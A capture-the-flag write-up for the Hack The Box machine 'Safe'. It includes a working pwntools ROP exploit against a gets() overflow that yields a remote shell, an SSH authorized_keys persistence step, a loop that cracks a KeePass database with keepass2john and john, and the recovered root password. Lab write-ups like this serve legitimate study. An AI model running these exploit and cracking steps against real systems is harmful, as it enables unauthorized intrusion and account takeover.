Safe (Easy)

Nmap
Our initial target is port 80, of course. Port 1337 look suspicious and we will find out what it is soon.
Visit port 80 and view source code:
<!-- 'myapp' can be downloaded to analyze from here
its running on port 1337 -->
The vulnerable program can be downloaded from:
http://10.10.10.147/myapp
$ file myapp
myapp: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fcbd5450d23673e92c8b716200762ca7d282c73a, not stripped
$ checksec myapp
[*] '/root/Dropbox/HTB/Box/Safe/myapp/myapp'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Since NX is the only protection on this binary, this is very likely to be a ROP challenge.
main
:int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+0h] [rbp-70h]
system("/usr/bin/uptime");
printf("\nWhat do you want me to echo back? ", argv);
gets(&s, 1000LL);
puts(&s);
return 0;
}
It seems to be a typical ret2system challenge on x64 at first glance, but that's not the case. The absence of the string
/bin/sh
makes it slightly difficult.First, note that there is an unused function named
test
:
test
This function does two things:
- 1.It moves the content of
rbp
tordi
. This is because the first operation of the function prologuepush rbp
moves the content ofrbp
torsp
, and thenmov rdi, rsp
moves the content ofrsp
tordi
. Pictorially, we haverbp -> rsp -> rdi
. We can use this functionality to pass/bin/sh
. - 2.It jumps to
r13
in the end. We can use this functionality to callsystem
.
So the attacking idea is:
- 1.Fill the buffer with junk and stop right before
rbp
. - 2.Store
/bin/sh\x00
inrbp
. - 3.Store
[email protected]
inr13
. - 4.Call
test
.
#!/usr/bin/env python3
from pwn import *
#--------Setup--------#
context(arch="amd64", os="linux")
elf = ELF("myapp", checksec=False)
local = False
if local:
r = elf.process()
else:
host = "10.10.10.147"
port = 1337
r = remote(host, port)
#--------ROP--------#
offset = 120
bin_sh = b"/bin/sh\x00"
# ROPgadget --binary myapp --only "pop|ret" | grep r13
pop_r13_r14_r15 = 0x0000000000401206
system_plt = elf.plt["system"]
test = elf.sym["test"]
payload = flat(
bin_sh.rjust(offset, b"\x90"),
pop_r13_r14_r15, system_plt, 0, 0, # r13 = [email protected]
test,
)
r.sendlineafter("\n", payload)
r.interactive()
Run the exploit and get user shell:

user
Although we have a shell, it is not the good-looking kind. To obtain a better shell, upload your
id_rsa.pub
to the server:echo "<your id_rsa.pub>" > /home/user/.ssh/authorized_keys
Connect to the server via SSH:

ssh
This part is a little guessy. We could use loop through all the
jpg
files and try each one of them as key file:#!/bin/bash
for i in *.JPG
do
echo "\#--------------------------------$i--------------------------------\#"
keepass2john -k $i MyPasswords.kdbx > hash.txt
john hash.txt
done
It turns out that the key file is
IMG_0547.JPG
and the master password is bullshit
. Fine. Now we can read the KeePass file with kpcli
:kpcli --key=IMG_0547.JPG --kdb=MyPasswords.kdbx

Keepass
The root password is
u3v2249dl9ptv465cogl3cnpo3fyhk
.Switch user to root:

root
Last modified 8mo ago